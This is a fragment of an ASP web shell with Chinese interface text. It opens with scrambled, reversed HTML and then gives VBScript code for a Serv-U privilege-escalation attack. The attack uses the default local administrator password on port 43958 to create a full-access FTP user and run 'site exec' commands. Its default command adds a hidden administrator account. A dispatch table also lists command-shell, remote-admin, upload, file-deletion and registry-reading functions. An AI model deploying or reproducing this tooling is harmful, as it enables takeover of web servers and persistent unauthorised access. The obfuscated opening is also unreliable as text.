kz<>kz/<>rz/<`&)`UNBUUSZBNY_XB_NSATMG`(ltswqokqIktcktU.zltxjtN&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<量數MYZ器務服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/< `&vgf&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<間時器務服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>dkgy/<>kz/<>rz/<>'9'=txsqc 'fgozeq'=tdqf 'ftrroi'=thnz zxhfo<>'bh1:ktrkgw'=tsnzl'_______________'=txsqc 'zodwxl'=thnz zxhfo<>'bh1:ktrkgw'=tsnzl'`&)`NWWQ_VQZBV`(ltswqokqIktcktU.zltxjtN&`'=txsqc '60'=tmol 'ho'=tdqf 'zbtz'=thnz zxhfo<>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<YC器務服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>'afqsw_'=ztukqz 'dkgyho'=tdqf 'hlq.ho/tktiv/wtv/ukg.sstilwtv//:hzzi'=fgozeq zlgh=rgiztd dkgy<>kz/<>rz/<`&)`STQG_NSINSU`(ltswqokqIktcktl.zltxjtk&`>'XXXXXX#'=kgsgeuw rz<>rz/< >'XXXXXX#'=kgsgeuw rz<>rz/<名器務服>'XXXXXX#'=kgsgeuw '119'=izrov '19'=ziuoti rz<>'ktzfte'=fuosq kz<>kz/<>rz/<息信件組器務服>'xftd'=kgsgeuw 'ktzfte'=fuosq '8'=fqhlsge '19'=ziuoti rz<>kz<>'ktzfte'=fuosq '1'=uforrqhsste '0'=ufoeqhlsste '1'=ktrkgw 'xftd'=kgsgeuw '%13'=izrov tswqz<>kw<`=CU"))For i=0 To 18SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF' align=left>"&ObT(i,2)&"</td></tr>"Nextj SIErr.ClearFunction bytes2BSTR(vIn) dim strReturn dim i1,ThisCharCode,NextCharCode strReturn = "" For i1 = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i1,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i1+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i1 = i1 + 1 End If Next bytes2BSTR = strReturn     Err.ClearEnd FunctionCase "Servu"SUaction=request("SUaction")if  not isnumeric(SUaction) then response.enduser = trim(request("u"))pass = trim(request("p"))port = trim(request("port"))cmd = trim(request("c"))f=trim(request("f"))if f="" thenf=gpath()elsef=left(f,2)end ifftpport = 65500timeout=3loginuser = "User " & user & vbCrLfloginpass = "Pass " & pass & vbCrLfdeldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLfmt = "SITE MAINTENANCE" & vbCrLfnewdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLfnewuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _        "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _        "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _        "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _        "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _        "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _        "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLfquit = "QUIT" & vbCrLfnewuser=replace(newuser,"c:",f)select case SUactioncase 1set a=Server.CreateObject("Microsoft.XMLHTTP")a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quitset session("a")=aj"<form method='post' name='goldsun'>"j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"j"<input name='SUaction' type='hidden' id='SUaction' value='2'></form>"j"<script language='javascript'>"j"document.write('<center>正在連接 127.0.0.1:"&port&",使用用戶名: "&user&",口令："&pass&"...<center>');"j"setTimeout('document.all.goldsun.submit();',4000);"j"</script>"case 2set b=Server.CreateObject("Microsoft.XMLHTTP")b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quitset session("b")=bj"<form method='post' name='goldsun'>"j"<input name='u' type='hidden' id='u' value='"&user&"'></td>"j"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"j"<input name='port' type='hidden' id='port' value='"&port&"'></td>"j"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"j"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"j"<input name='SUaction' type='hidden' id='SUaction' value='3'></form>"j"<script language='javascript'>"j"document.write('<center>正在提升權限,請等待...,<center>');"j"setTimeout(""document.all.goldsun.submit();"",4000);"j"</script>"case 3set c=Server.CreateObject("Microsoft.XMLHTTP")a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""a.send loginuser & loginpass & mt & deldomain & quitset session("a")=aj"<center>提權完畢,已執行了命令：<br><font color=red>"&cmd&"</font><br><br>"j"<input type=button value=' 返回繼續 ' onClick=""location.href='?Action=Servu';"">"j"</center>"case elseon error resume nextset a=session("a")set b=session("b")set c=session("c")a.abortSet a = Nothingb.abortSet b = Nothingc.abortSet c = Nothingj"<center><form method='post' name='goldsun'>"j"<table width='494' height='163' border='1' cellpadding='0' cellspacing='1' bordercolor='#666666'>"j"<tr align='center' valign='middle'>"j"<td colspan='2'>Serv-U 提升權限 by Sam</td>"j"</tr>"j"<tr align='center' valign='middle'>"j"<td width='100'>用戶名:</td>"j"<td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td>"j"</tr>"j"<tr align='center' valign='middle'>"j"<td>口 令：</td>"j"<td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td>"j"</tr>"j"<tr align='center' valign='middle'>"j"<td>端 口：</td>"j"<td><input name='port' type='text' id='port' value='43958'></td>"j"</tr>"j"<tr align='center' valign='middle'>"j"<td>系統路徑：</td>"j" <td><input name='f' type='text' id='f' value='"&f&"' size='8'></td>"j" </tr>"j" <tr align='center' valign='middle'>"j" <td>命　令：</td>"j" <td><input name='c' type='text' id='c' value='cmd /c net user admin7s$ 1 /add & net localgroup administrators admin7s$ /add' size='50'></td>"j" </tr>"j" <tr align='center' valign='middle'>"j" <td colspan='2'><input type='submit' name='Submit' value='提交'> "j"<input type='reset' name='Submit2' value='重置'>"j"<input name='SUaction' type='hidden' id='action' value='1'></td>"j"</tr></table></form></center>"end selectfunction Gpath()on error resume nexterr.clearset f=Server.CreateObject(CONST_FSO)if err.number>0 thengpath="c:"exit functionend ifgpath=f.GetSpecialFolder(0)gpath=lcase(left(gpath,2))set f=nothingend functioncase"MMD":MMD()case"ReadREG":call ReadREG()case"delpoint":call delpoint()case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothingcase"DownFile":DownFile FName:ShowErr()case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothingcase"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothingcase"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothingcase"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothingcase"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothingcase"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothingcase"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothingcase"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothingcase"UpFile":UpFile()case"TSearch":TSearch()case"pcanywhere4":pcanywhere4()case"Cmd1Shell":Cmd1Shell()case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URLcase"Course":Course()case"Alexa":Alexa()case"suftp":suftp()case"upload":upload()case"radmin":radmin()case"pcanywhere4":pcanywhere4()case"goback":goback()Case "ProFile":ProFile()case"php":php()case"apjdel":apjdel()case"cmdx":cmdx()case"aspx":aspx()case"hiddenshell":hiddenshell()case"ScanDriveForm" : ScanDriveFormCase "CustomScanDriveForm":CustomScanDriveForm()case"ScanDrive" : ScanDrive Request("Drive")case"ScFolder"  : ScFolder Request("Folder")  Case Else MainForm()End Selectif Action<>"Servu" then ShowErr()j"</body></html>"  %>